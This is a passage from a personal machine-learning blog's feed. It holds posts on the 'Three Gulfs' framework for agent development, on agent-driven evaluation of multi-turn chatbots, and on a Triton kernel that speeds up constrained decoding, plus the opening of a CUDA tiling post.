<p>This is a lightweight guide to understanding GRPO and RL principles. I hope you found it helpful</p>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="Blog" /><summary type="html"><![CDATA[A beginner-friendly guide to Group Relative Policy Optimization (GRPO) training workflow without assuming prior RL knowledge.]]></summary></entry><entry><title type="html">Bridging the Three Gulfs of Agentic Development (and how they shape evals)</title><link href="https://gitlostmurali.com/blog/three-gulfs-of-agent-development/" rel="alternate" type="text/html" title="Bridging the Three Gulfs of Agentic Development (and how they shape evals)" /><published>2025-07-25T00:00:00+00:00</published><updated>2025-07-25T00:00:00+00:00</updated><id>https://gitlostmurali.com/blog/three-gulfs-of-agent-development</id><content type="html" xml:base="https://gitlostmurali.com/blog/three-gulfs-of-agent-development/"><![CDATA[<figure>
  <a href="https://gitlostmurali.com//assets/images/regression_evals.jpg">  <img src="https://gitlostmurali.com//assets/images/regression_evals.jpg" alt="Meme on regression" /></a>
  <figcaption>
    <p>
      <strong>Figure 1:</strong> How adding new features without regression check looks like. 
    </p>
  </figcaption>
</figure>

<hr />

<h2 id="background-motivation">Background &amp; Motivation</h2>

<p>LLM adoption is rocketing ahead of our ability to systematically track regressions. I once asked an engineer shipping an “agentic hot‑shot” product how they benchmarked it. The answer: “We use VIBES—Very Intelligent Business Evaluation Score.” A manual inspection like vibe-check may work in the initial phases but isn’t suffice in the development cycle. There’s a need for identifying the active players in the development cycle and bridging gaps between them.</p>

<h2 id="agents-non-deterministic-behavior">Agents’ Non-Deterministic Behavior</h2>

<p>Agents are an orchestration of LLMs, tools, memory, and business logic. As soon as you wire in a calculator tool, a single query like 24 + 28 can fork three ways:</p>

<ol>
  <li>
    <p>The agent calls the tool and returns 52—nice.</p>
  </li>
  <li>
    <p>It calls the tool with the wrong schema, then guesses the answer itself.</p>
  </li>
  <li>
    <p>It decides doing math is “small potatoes,” skips the tool, and still answers.</p>
  </li>
</ol>

<p>Because this non-determinism makes failures hard to localize, it helps to frame agent development as a three-party juggle (data, developers, and LLMs) and to look for misalignments across them, the <em>Three Gulfs</em> (<a href="https://arxiv.org/abs/2504.14764">Shankar et al. (2024)</a>).</p>

<hr />

<h2 id="gulf1--datadeveloper-gulfofcomprehension">Gulf #1 — Data ↔ Developer (Gulf of Comprehension)</h2>

<p>When devs stare at numbers on the evaluation dashboards, they’re really just peeking through a keyhole. Let’s go through a few examples to understand why numbers alone can’t provide a narrative of failure modes:</p>

<h3 id="1-nextsentence-recommendation-model">1. Next‑sentence recommendation model</h3>

<ul>
  <li>To evaluate the recommendation model’s performance in real time, we can use a UX (User experience) metric like User Acceptance rate of the sentence suggestions.</li>
</ul>

<p>Metric-1; Acceptance Rate: % of sentence suggestions a user accepts.</p>

<ul>
  <li>Another metric can be more nuanced like tracking the number of changes to the accepted suggestions.</li>
</ul>

<p>Metric-2; Edit Distance: Number of edits made by the User to an accepted suggestion.</p>

<p>When the system is deployed and tracked, users often edited the suggestions. This would mean the model is bad. BUT, in reality, users who write shaky English <strong>often edit good suggestions into worse ones.</strong></p>

<p><strong>Outcome:</strong> Acceptance Rate tanks, devs panic—until manual review shows the model was fine, the users weren’t.</p>

<h3 id="2-cursor-ide-memory-prompts">2. Cursor IDE memory prompts</h3>

<p>Cursor launched a new feature where it tries to infer the latent user preferences and store them as preferences.</p>

<p>The model nails relevant recommendations but I keep clicking “Deny” because of privacy concerns or I don’t want project specific preferences to be applied over all projects.</p>

<p>The metric signals failure; reality says otherwise.</p>

<p><strong>Takeaway:</strong> Eval Dashboards cannot faithfully reflect the failure modes. Schedule routine manual error dives to ground‑truth what the data really means. <strong>Manual error analysis is a pill every developer must consume.</strong></p>

<hr />

<h2 id="gulf2--developeragent-gulfofspecification">Gulf #2 — Developer ↔ Agent (Gulf of Specification)</h2>

<p>Humans are awful at giving precise instructions. Picture a recipe chatbot where the system prompt says: “Suggest easy recipes.” What does easy mean?</p>

<p>≤ 10 ingredients?</p>

<p>30‑minute cook time?</p>

<p>One‑pot only?</p>

<p>From recent performance regression checks against an agent, I observed the token usage to spike by 300% or 3x purely because the instructions were vague and contradictory.
Because you were vague, the agent rambles—burning more chain‑of‑thought tokens as it goes into self-monologue to de-clutter the contradictions in your prompt.</p>

<p>Fixes:</p>

<ol>
  <li>
    <p>Write spec tables: attribute · constraint · example.</p>
  </li>
  <li>
    <p>Include both positive and negative exemplars right in the system prompt.</p>
  </li>
  <li>
    <p>Track token usage per request; it’s a cheap regression alarm.</p>
  </li>
</ol>

<hr />

<h2 id="gulf3--dataagent-gulfofgeneralization">Gulf #3 — Data ↔ Agent (Gulf of Generalization)</h2>

<p>No matter how solid your system prompt is, clever users will jailbreak and coax the model into toxicity, policy leaks, or worse. Edge‑cases evolve faster than guardrails. This applies to any downstream tasks. We cannot generalize a model to handle 100% cases.</p>

<p>The Gulf of Generalization will never fully close, but you can narrow it. Monitor distribution drift—who is using your product and how. And iteratively fix your agent.</p>

<hr />

<h2 id="a-practical-workflow">A Practical Workflow</h2>

<p><code class="language-plaintext highlighter-rouge">flowchart TD
    A[Analyze] --&gt; B[Measure]
    B --&gt; C[Improve]
</code></p>

<ol>
  <li>
    <p>Analyze: Run the agent on a sample set; label failures. Tag each bug to a gulf.</p>
  </li>
  <li>
    <p>Measure: Turn those qualitative tags into numbers—precision, token cost, jailbreak rate, whatever moves the biz.</p>
  </li>
  <li>
    <p>Improve: Patch prompts, tweak tools, swap models; fine‑tune only when cheaper fixes flop.</p>
  </li>
</ol>

<p>Rinse, repeat.</p>

<h2 id="closing-thoughts--whats-next">Closing Thoughts &amp; What’s Next</h2>

<p>We spoke about the Three Gulfs framework which helps in identifying the possible failure modes and bridging gaps between the three entities (data, developers and LLMs). In the next post, let’s talk about a basic LLM prompting schema and error analysis paradigms.</p>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="Blog" /><summary type="html"><![CDATA[A practical framework for spotting and fixing evaluation blind spots in agentic LLM pipelines, based on Shankar et al.’s Three Gulfs model.]]></summary></entry><entry><title type="html">Let Agents do the talking: A Scalable Way to Evaluate Multi-Turn Chatbots</title><link href="https://gitlostmurali.com/blog/interactive-evals/" rel="alternate" type="text/html" title="Let Agents do the talking: A Scalable Way to Evaluate Multi-Turn Chatbots" /><published>2025-06-17T00:00:00+00:00</published><updated>2025-06-17T00:00:00+00:00</updated><id>https://gitlostmurali.com/blog/interactive-evals</id><content type="html" xml:base="https://gitlostmurali.com/blog/interactive-evals/"><![CDATA[<blockquote>
  <p>This piece grew out of a conversation with <a href="https://www.linkedin.com/in/niklas-finken/">Niklas Finken</a>.</p>
</blockquote>

<h2 id="about">About</h2>

<p>In this post, let’s talk about  “interactive evaluations” — a lightweight, automated way to test multi-turn chatbots at scale.</p>

<p>Large language models evolve quickly. A tweak to the system prompt, a new retrieval source, or a model upgrade can silently break conversation flow in ways that one-shot benchmarks never reveal. Interactive evaluations treat your bot like a real chat partner: a User-Agent drives the dialogue with natural follow-up questions, while a Critic-Agent reviews the entire transcript for factuality, helpfulness, and tone.</p>

<h2 id="background">Background</h2>

<p>Imagine you’ve just launched your chatbot, and initial user feedback is fantastic. Soon after, you’re told to add a few tweaks: tightening responses for brevity, adding guardrails to prevent off-topic conversations, or even adjusting the system prompts for better clarity. You confidently make these changes, expecting an even better user experience.</p>

<p>However, a few days later, you notice something troubling - the chat assistant isn’t vibing with users as before. Conversations feel stiff, incomplete, or oddly truncated. Your PM is puzzled, engineers are scratching their heads, and management is beginning to question what went wrong. Without systematic evaluations, identifying the exact cause becomes guesswork at best, potentially leading to further ineffective changes.</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/interactive-evals/thisisfine_wo_evals.png">  <img src="https://gitlostmurali.com//assets/images/interactive-evals/thisisfine_wo_evals.png" alt="Cartoon showing a developer saying 'this is fine' while their chatbot quietly fails due to lack of evaluations" /></a>
  <figcaption>
    <p>
      <strong>Figure 1:</strong> A tongue-in-cheek "this-is-fine" scene that captures how hidden regressions can burn in the background when changes ship without proper evaluations.
    </p>
  </figcaption>
</figure>

<h2 id="why-evaluations-are-essential">Why Evaluations are Essential?</h2>

<p>Evaluations systematically track how each incremental change impacts performance, highlighting any unintended consequences. Rather than relying solely on intuition or anecdotal feedback, evals provide actionable insights and clear accountability, making it easier for teams to make informed decisions confidently.</p>

<p>As someone who often threatened or bribed LLMs to get work done, it was quite difficult to know which warnings/rewards got hold of the LLM without evals.</p>

<p>More time I spent in developing chatbot systems and their evals, I realized how relevant software engineering principles are in this context. Specifically, iterating quickly reflects in faster &amp; successful development, removing any guessworks. The success with AI hinges on how fast you can iterate.</p>

<p>For more on how to start building your evaluation systems, I recommend reading <a href="https://hamel.dev/blog/posts/evals/">Hamel Hussain’s blog</a>.</p>

<h2 id="the-problem-our-current-methods-fall-short">The Problem: Our Current Methods Fall Short</h2>

<p>Yet, despite their clear importance, current chatbot evaluation methods are significantly limited. Typically designed around single-turn question-answer scenarios, these approaches inadequately capture the nuanced dynamics of conversational systems.
Let me show you what I mean with a real conversation:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User: Can you share the outcomes of NVIDIA's board meeting?
Chatbot: Ofcourse, can you let me know which year board meeting are you looking for?
User: 2024
Chatbot: Based on my search, I found that .....
</code></pre></div></div>

<p>In this scenario, the chatbot demonstrates context-awareness by correctly engaging in follow-up interactions. However, traditional evaluation methods would penalize this exchange for not immediately providing complete information in the first response. This oversight highlights a fundamental flaw: conventional metrics simply cannot accurately assess performance across natural, evolving multi-turn conversations.</p>

<p><strong>Here’s the disconnect:</strong> your users are perfectly happy with this conversational style, but your evaluation metrics are telling you something’s wrong. You could bring in human evaluators to rate satisfaction, but that doesn’t scale - you can’t have humans evaluate every conversation, every prompt change, every deployment.
This is where LLMs come in. What if we could create an LLM that mimics human conversation patterns and systematically talks to your chatbot?</p>

<h2 id="a-new-approach-let-agents-do-the-talking">A New Approach: Let Agents Do the Talking</h2>

<p>Here’s where things get interesting. Instead of forcing rigid metrics onto fluid conversations, what if we created agents that could actually have conversations with our chatbots? Think of it as automating conversation testing with agents that follow instructions and can scale as needed.</p>

<p>Our framework introduces two key players, each with a distinct purpose:</p>

<h3 id="the-user-agent-a-curious-user">The User Agent (A curious user)</h3>

<p>Think of this agent as your most thorough beta tester. They don’t just ask one question and move on - they dig deeper, ask follow-ups, and explore edge cases just like real users do.</p>

<p>What makes them special:</p>

<ol>
  <li>They remember context from earlier in the conversation</li>
  <li>They ask natural follow-up questions based on what they’ve learned</li>
  <li>They know when they’ve gotten what they need (or when they haven’t)</li>
</ol>

<figure>
  <a href="https://gitlostmurali.com//assets/images/interactive-evals/a2a.png">  <img src="https://gitlostmurali.com//assets/images/interactive-evals/a2a.png" alt="Diagram of a UserAgent conversing with a chatbot during an evaluation run" /></a>
  <figcaption>
    <p>
      <strong>Figure 2:</strong> Diagram of the UserAgent (left) holding a multi-turn conversation with the target chatbot (right), illustrating how the agent probes with follow-up questions just like a real user.
    </p>
  </figcaption>
</figure>

<h3 id="the-conversation-critic-llm-as-a-judge">The Conversation Critic (LLM-as-a-Judge)</h3>

<p>This is a simple LLM-as-a-judge which looks at the entire generated conversation and rates how the chatbot behaved. It evaluates key aspects like:</p>

<ol>
  <li>Did the chatbot provide accurate information?</li>
  <li>Were responses complete without being overwhelming?</li>
  <li>Did the conversation flow naturally, or were there awkward pivots?</li>
</ol>

<h2 id="how-it-all-comes-together">How It All Comes Together</h2>

<p>Here’s how a typical evaluation unfolds:</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/interactive-evals/seq-diagram.png">  <img src="https://gitlostmurali.com//assets/images/interactive-evals/seq-diagram.png" alt="Sequence diagram: UserAgent ↔ Chatbot dialogue, transcript sent to LLM judge, scores returned" /></a>
  <figcaption>
    <p>
      <strong>Figure 3:</strong> Sequence diagram of the evaluation loop: UserAgent ↔ Chatbot dialogue, Conversation history handed to the Conversation-Critic LLM, scores returned and logged for analysis.
    </p>
  </figcaption>
</figure>

<p><strong>Define the scenario:</strong> We define what we need- what questions need answering, what tone we’re aiming for, and what pitfalls to avoid. It’s like giving our agents a character brief before they step onto the conversational stage.</p>

<p><strong>Play the scene:</strong> Our UserAgent initiates a conversation, playing the role of a curious customer. The chatbot responds, the agent follows up, and a natural dialogue emerges. Sometimes it’s smooth sailing; other times, it reveals surprising gaps in our chatbot’s abilities.</p>

<p><strong>Critique:</strong> At the end, Conversation Critic rates the conversation across each dimension and logs comments.</p>

<h2 id="what-can-we-measure">What can we measure</h2>

<p>We can evaluate the conversations the way humans actually experience them. For instance:</p>

<p><strong>Conversation Completeness:</strong> Did we actually solve the user’s problem, or did we just throw information at them?</p>

<p><strong>Natural Relevance:</strong> Do responses feel like they’re relevant to the user’s query?</p>

<p><strong>Factual Integrity:</strong> We track both what the chatbot gets right and what it hallucinates.</p>

<p><strong>Flow and Coherence:</strong> Can the chatbot handle when users change topics, circle back, or approach things from unexpected angles?</p>

<h2 id="the-practical-benefits">The Practical Benefits</h2>

<p>The shift to this approach brings several advantages:</p>

<p>Scaling conversations: With user-agent, we can scale conversations to thousands of instances without burning out human testers. Imagine starting 1000s of simulations to catch rare and non-determinant bugs.</p>

<p>Real-World Relevance: These evaluations mirror actual user experiences, helping you build chatbots that align with how people naturally converse.</p>

<p>Rapid Iteration: Deploy changes with confidence. Within hours, you’ll know if that new prompt is helping or hurting the chat model’s performance.</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/interactive-evals/levels_of_evals.png">  <img src="https://gitlostmurali.com//assets/images/interactive-evals/levels_of_evals.png" alt="Graphic ladder of evaluation depth culminating in interactive agent-driven tests" /></a>
</figure>

<h2 id="conclusion">Conclusion</h2>

<p>Going forward, there’s a need for interactive evaluations. It’s hard but keeps us closer to human experience. As LLMs get powerful and align with human capabilities, it gives us a chance to make evaluations robust and closer to humans.</p>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="Blog" /><category term="LLM" /><category term="Chatbots" /><category term="Evaluation" /><category term="Agents" /><category term="Testing" /><summary type="html"><![CDATA[Interactive evaluations: lightweight, automated tests that use agents to measure multi-turn chatbot quality at scale.]]></summary></entry><entry><title type="html">CUDA Study Log 4: Optimizing Constrained Decoding with Triton Kernel</title><link href="https://gitlostmurali.com/blog/structured-generation-optimizations/" rel="alternate" type="text/html" title="CUDA Study Log 4: Optimizing Constrained Decoding with Triton Kernel" /><published>2025-03-02T00:00:00+00:00</published><updated>2025-03-02T00:00:00+00:00</updated><id>https://gitlostmurali.com/blog/structured-generation-optimizations</id><content type="html" xml:base="https://gitlostmurali.com/blog/structured-generation-optimizations/"><![CDATA[<h1 id="the-problem-inefficient-computation-in-constrained-decoding">The Problem: Inefficient Computation in Constrained Decoding</h1>

<p>Constrained decoding ensures language models generate outputs that follow specific patterns or schemas. This is crucial for tasks like API response generation or structured data creation where we need guaranteed syntactic correctness.</p>

<p>However, there’s a significant computational inefficiency in standard constrained decoding:</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/simple-logits-masking.svg/">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/simple-logits-masking.svg" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 1:</strong> Constrained decoding involves generating tokens that follow a specific schema or pattern.
    </p>
  </figcaption>
</figure>

<p>During each generation step:</p>

<ol>
  <li>The model computes scores (logits) for every token in its vocabulary (typically 50k+ tokens)</li>
  <li>We filter out tokens that would violate our schema/grammar</li>
  <li>Only then do we sample from the allowed tokens</li>
</ol>

<p>This means we’re wasting computation on tokens we’ll never use. For example, if we only need to generate “true” or “false”, we still compute scores for all 50,000+ tokens in the vocabulary, only to use just two of them!</p>

<p>Let’s explore three increasingly sophisticated approaches to optimize this process, starting from the simplest case to a fully dynamic CUDA-accelerated solution.</p>

<h1 id="the-three-levels-of-optimization">The Three Levels of Optimization</h1>

<p>Let’s explore three increasingly sophisticated approaches to optimize this process:</p>

<ol>
  <li><strong>Compressing Finite State Machine</strong>: Compress the FSM into a compact representation for faster state transitions</li>
  <li><strong>Optimized Matrix Multiplication</strong>: Only compute logits for allowed tokens</li>
  <li><strong>Kernel Optimization</strong>: Use Kernel to parallelize the logit computation</li>
</ol>

<h2 id="1-compressing-the-finite-state-machine-fsm">1. Compressing the Finite State Machine (FSM)</h2>

<h3 id="understanding-automata-for-constrained-generation">Understanding Automata for Constrained Generation</h3>

<p>Consider a simple binary classifier that outputs either “true”, “false” or “NA”.</p>

<p>The constrained decoding library <a href="https://github.com/dottxt-ai/outlines"><code class="language-plaintext highlighter-rouge">outlines</code></a> would convert this to an FSM graph:</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/sentence_automaton.png">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/sentence_automaton.png" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 2:</strong> The FSM for a binary classifier output.
    </p>
  </figcaption>
</figure>

<p>In this automaton:</p>

<ul>
  <li>Each state represents a step in the generation process</li>
  <li>The initial state (q0) has one transition: <code class="language-plaintext highlighter-rouge">"</code></li>
  <li>The second state (q1) has three transitions: <code class="language-plaintext highlighter-rouge">true</code>, <code class="language-plaintext highlighter-rouge">false</code>, and <code class="language-plaintext highlighter-rouge">NA</code></li>
  <li>The final state (q3) has one transition: <code class="language-plaintext highlighter-rouge">"</code></li>
</ul>

<p><strong>Key Optimization</strong>: When states have only one possible transition (like q0 and q3), we can skip the generation step entirely and directly emit that token.
This reduces our generation steps from 3 to just 1, as we only need to actually generate at state q1.</p>

<p>Let’s take another example from <a href="https://arxiv.org/pdf/2312.07104">SGLang paper</a>:</p>

<blockquote>
  <p>The constant text sequence <code class="language-plaintext highlighter-rouge">{"summary": "</code> spans multiple tokens in the normal decoding process as shown in Fig. 3 (c), requiring multiple decoding stages, even though there is only one valid next token when decoding it. Therefore, the whole sequence can be decoded in a single step (i.e., forward pass). (<a href="https://arxiv.org/pdf/2312.07104">SGLang paper</a>)</p>
</blockquote>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/sglang_fsm_compression.png">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/sglang_fsm_compression.png" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 3:</strong> The decoding process of normal and compressed FSMs (the underscore_ means a space). <a href="https://arxiv.org/pdf/2312.07104">Source</a>
    </p>
  </figcaption>
</figure>

<p>By the way, if you want to see how a pydantic schema is converted to an FSM, you can use the following code based on <a href="https://github.com/dottxt-ai/outlines"><code class="language-plaintext highlighter-rouge">outlines</code></a>:</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/outlines-fsm-generation.png">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/outlines-fsm-generation.png" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 4:</strong> FSM generation script using outlines.<a href="https://arxiv.org/pdf/2312.07104">Source</a>
    </p>
  </figcaption>
</figure>

<h2 id="2-optimized-matrix-multiplication">2. Optimized Matrix Multiplication</h2>

<p>Once we have an FSM, we can identify the allowed tokens for each state and only compute logits for those tokens.
Instead of the standard computation:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">logits</span> <span class="o">=</span> <span class="n">final_layer</span> <span class="o">@</span> <span class="n">token_embeddings</span><span class="p">.</span><span class="n">T</span>
</code></pre></div></div>

<p>We can optimize to:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">allowed_indices</span> <span class="o">=</span> <span class="n">fsm_index</span><span class="p">.</span><span class="n">get_allowed_tokens</span><span class="p">(</span><span class="n">fsm_state</span><span class="p">)</span>
<span class="n">logits</span> <span class="o">=</span> <span class="n">final_layer</span> <span class="o">@</span> <span class="n">token_embeddings</span><span class="p">[</span><span class="n">allowed_indices</span><span class="p">].</span><span class="n">T</span>
</code></pre></div></div>

<p><strong>Performance Benefits</strong>:</p>

<ul>
  <li><strong>Memory reduction</strong>: Only use embedding weights of allowed tokens. Reduced memory transfers between GRAM and processors/threads.</li>
  <li><strong>Computation reduction</strong>: Matrix multiplication size dramatically reduced</li>
</ul>

<p><strong>Limitations for Batching</strong>: My only chagrin with this approach is its inflexibility during batching. When processing batches of sequences with different FSMs, the optimization becomes problematic. Each sequence in the batch may have different allowed tokens based on its current state, which prevents efficient slicing of embedding weights across the entire batch. The need for sequence-specific token filtering reduces parallelism and computational efficiency. Consequently, this approach doesn’t scale well for batched processing in production environments.</p>

<h2 id="3-kernel-based-optimization">3. Kernel based optimization</h2>

<p>Instead of modifying/slicing the final layer, we can implement dynamic filtering directly in the matrix multiplication kernel. This approach:</p>

<ul>
  <li>Maintains the model’s final layer unchanged</li>
  <li>Uses a CUDA kernel to filter logits during computation</li>
  <li>Reduces memory transfers between GPU memory and processors/threads</li>
</ul>

<p>When implementing constrained decoding in CUDA, we need an efficient way to filter out tokens that aren’t allowed by our finite state machine. Instead of computing logits for all tokens and then applying a mask (which wastes computation), we can filter at different levels of granularity during the matrix multiplication itself.</p>

<h3 id="31-block-level-filtering">3.1 Block-level filtering</h3>

<p>The first level of optimization can be done at the block level:</p>

<ol>
  <li>We maintain a binary mask of vocabulary size (128k) to indicate allowed tokens (1) and non-allowed tokens (0)</li>
  <li>Before computing the matrix multiplication for a block, we check if any tokens in that block are allowed</li>
  <li>If no tokens in the block are allowed, we skip the entire block’s computation</li>
  <li>This dramatically reduces unnecessary work for constrained generation</li>
</ol>

<p>Let’s start by taking standard matrix multiplication kernel from <a href="https://triton-lang.org/main/getting-started/tutorials/03-matrix-multiplication.html#final-result">Triton tutorial</a> and modify it to support the filtering of allowed tokens. In a way, this can be compared to Sparse Matrix Multiplication across columns of final layer weights <code class="language-plaintext highlighter-rouge">[768 x 128k]</code>.</p>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/block-level-filter.png">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/block-level-filter.png" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 5:</strong> Block-level filtering.
    </p>
  </figcaption>
</figure>

<p>What’s happening in the code:</p>

<ol>
  <li>We first determine which output matrix block is being computed by this CUDA block using <code class="language-plaintext highlighter-rouge">pid_m</code> and <code class="language-plaintext highlighter-rouge">pid_n</code></li>
  <li>We calculate the row indices of A (offs_am) and column indices of B (offs_bn) for the current block in the output matrix C</li>
  <li>Block filtering step: From the token mask, we load a portion of the mask corresponding to the current block using <code class="language-plaintext highlighter-rouge">tl.load(allowed_cols_mask_ptr + offs_bn)</code></li>
  <li>We check if any tokens in this block are allowed by summing the mask values</li>
  <li>If no tokens are allowed (block_has_valid_columns == 0), we skip the entire block computation by returning early</li>
  <li>Otherwise, we proceed with the standard matrix multiplication for this block</li>
</ol>

<p>This optimization allows us to skip entire blocks of computation when none of the tokens in that block are allowed by our FSM. For example, if each block has <code class="language-plaintext highlighter-rouge">BLOCK_SIZE_N = 32</code> and our allowed tokens are only [1, 5, 6, 20], only the first block will be active while all other blocks’ computation will be skipped entirely.</p>

<p>Ideally, out of the 32 threads in this block, only 4 threads should be active (corresponding to the allowed tokens) and the rest must be idle. However, for brevity, let’s just go ahead and compute the entire block. Later, we will see how to handle this efficiently.</p>

<h4 id="filtering-at-the-output-level">Filtering at the output level</h4>

<p>Since we are computing the entire block of output, (32 columns instead of just 4), we need to filter the output at the end. This is done by using the mask <code class="language-plaintext highlighter-rouge">allowed_cols_mask</code> to filter the output.</p>

<!-- Custom diff styling for code -->
<style>
  .diff-container {
    background-color: rgb(30, 29, 29);
    padding: 10px;
    border-radius: 5px;
    margin-bottom: 20px;
    font-family: "Source Code Pro", monospace;
    font-size: 0.4em; /* Uses relative sizing based on parent element */
    line-height: 1.5;
  }
  .diff-container pre {
    margin: 0;
    white-space: pre-wrap;
    color: white;
  }
  .inserted {
    background-color: #ddffdd;
    color: #333;
  }
</style>

<div class="diff-container">
  <pre><code>c_mask = (offs_cm[:, None] &lt; M) &amp; (offs_cn[None, :] &lt; N) <span class="inserted">&amp; (allowed_cols_mask[None, :] &gt; 0)</span></code></pre>
</div>

<h3 id="32-column-levelthread-level-filtering">3.2 Column-level/Thread-level filtering</h3>

<p>Now that we have a kernel that can filter the output at the block level, we can extend it to filter the output at the column level. To address this, we can implement column-level filtering within each block:</p>

<ol>
  <li>We use the same allowed token mask but apply it at a finer granularity</li>
  <li>When loading input data for each column, we check if that column corresponds to an allowed token</li>
  <li>We only perform computations for the allowed columns. Others are set to 0, which is equivalent to skipping the computation.</li>
</ol>

<div class="diff-container">
  <pre><code>b = tl.load(b_ptrs, mask=((offs_k[:, None] &lt; K - k * BLOCK_SIZE_K) <span class="inserted">&amp; (allowed_cols_mask[None, :] != 0)</span>), other=0.0)</code></pre>
</div>

<p>In the code above, we modify the mask condition when loading input data (b) to include <code class="language-plaintext highlighter-rouge">(allowed_cols_mask[None, :] != 0)</code>. This ensures we only load data for allowed columns, saving time (*hopefully ;) *) on loading data for non-allowed columns.</p>

<h3 id="33-the-benchmarks">3.3 The benchmarks</h3>

<p>For matrices, A &amp; B of size <code class="language-plaintext highlighter-rouge">[1, 3072]</code> and <code class="language-plaintext highlighter-rouge">[3072, 128k]</code> respectively, we can see the speedups for different filtering strategies:</p>

<blockquote>
  <p>The current kernel is only written for batch size 1. I will work on it later to support batching.</p>
</blockquote>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/block-level-speed-ups.png">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/block-level-speed-ups.png" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 6:</strong> Block-level filtering speedups.
    </p>
  </figcaption>
</figure>

<figure>
  <a href="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/thread-level-speed-ups.png">  <img src="https://gitlostmurali.com//assets/images/struct-gen-triton-kernel/thread-level-speed-ups.png" alt="Structured Generation Teaser" /></a>
  <figcaption>
    <p>
      <strong>Figure 7:</strong> Thread-level filtering speedups.
    </p>
  </figcaption>
</figure>

<p>As shown in the figures above, we can see that the custom CUDA kernel provides better speedups as the number of allowed tokens decreases. However, the <code class="language-plaintext highlighter-rouge">block+thread-level</code> filtering performs worse than the <code class="language-plaintext highlighter-rouge">block-level</code> only filtering. Let’s explore why this happens and what it means for optimization strategies.</p>

<h3 id="331-understanding-thread-level-filtering-performance">3.3.1 Understanding Thread-Level Filtering Performance</h3>

<p>Despite our initial expectation that finer-grained filtering would yield better performance, thread-level filtering often underperforms block-level filtering alone. This performance regression can be attributed to several GPU architecture characteristics:</p>

<ul>
  <li><strong>Warp Divergence:</strong> When using thread-level filtering, threads within the same warp execute different code paths based on whether their column is allowed or not. This creates warp divergence, where the GPU must serialize execution of different paths, reducing parallelism.</li>
  <li><strong>Memory Access Patterns:</strong> GPUs are optimized for coalesced memory access, where threads in a warp access contiguous memory locations. Thread-level filtering disrupts this pattern, leading to suboptimal memory bandwidth utilization.</li>
  <li><strong>Computation vs. Memory Throughput:</strong> Modern GPUs can perform computations much faster than they can fetch data from memory. By trying to skip computations at the thread level, we might be optimizing for compute (which isn’t the bottleneck) while introducing memory access inefficiencies (which is often the bottleneck).</li>
</ul>

<p>These factors explain why the seemingly more precise thread-level filtering actually degrades performance. The overhead of the additional masking operations and the resulting inefficiencies in GPU execution outweigh the benefits of skipping computations for individual columns.</p>

<h4 id="332-memory-layout-considerations">3.3.2 Memory layout considerations</h4>

<p>The efficiency of our approach depends heavily on how the allowed tokens are distributed. If allowed tokens are scattered randomly across the vocabulary, we might still need to process many blocks. However, in practice:</p>

<ul>
  <li>For many constrained decoding scenarios, the number of allowed tokens is small compared to the vocabulary size.</li>
  <li>We can potentially reorder the vocabulary to cluster commonly allowed tokens together, improving block-level filtering efficiency. But this can get messy when we have multiple constraints.</li>
</ul>

<h1 id="conclusion">Conclusion</h1>

<p>We’ve explored different strategies for optimizing constrained decoding:</p>

<ol>
  <li>Compressing the FSM provides a simple optimization with significant speedup</li>
  <li>Slicing the final layer weights provides good performance gains</li>
  <li>CUDA implementation delivers performance gains and can handle complex cases</li>
</ol>

<p>Remember that these optimizations are complementary to the core benefits of structured generation.</p>

<h1 id="future-work">Future Work</h1>

<p>It would be interesting to explore additional optimizations:</p>
<ol>
  <li>Batching the CUDA kernel for handling batched sequences</li>
  <li>Hybrid approaches that combine different optimization strategies</li>
</ol>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="Blog" /><category term="LLM" /><category term="CUDA" /><category term="Optimization" /><category term="Constrained Decoding" /><summary type="html"><![CDATA[Update traditional CUDA matrix multiplication kernel for constrained decoding]]></summary></entry><entry><title type="html">CUDA Studylog 3 - Tiling and Shared Memory for Matrix Multiplication Optimization</title><link href="https://gitlostmurali.com/machine-learning/data-science/cuda-matmul-2" rel="alternate" type="text/html" title="CUDA Studylog 3 - Tiling and Shared Memory for Matrix Multiplication Optimization" /><published>2025-02-14T23:58:10+00:00</published><updated>2025-02-14T23:58:10+00:00</updated><id>https://gitlostmurali.com/machine-learning/data-science/cuda-matmul-2</id><content type="html" xml:base="https://gitlostmurali.com/machine-learning/data-science/cuda-matmul-2"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>In our <a href="/machine-learning/data-science/cuda-matmul">previous post</a>, we implemented a naive CUDA matrix multiplication kernel and identified that it’s not efficient. In this post, we’ll explore various optimization techniques to address these issues and significantly improve performance.</p>

<p>Take a look at the naive implementation again:</p>

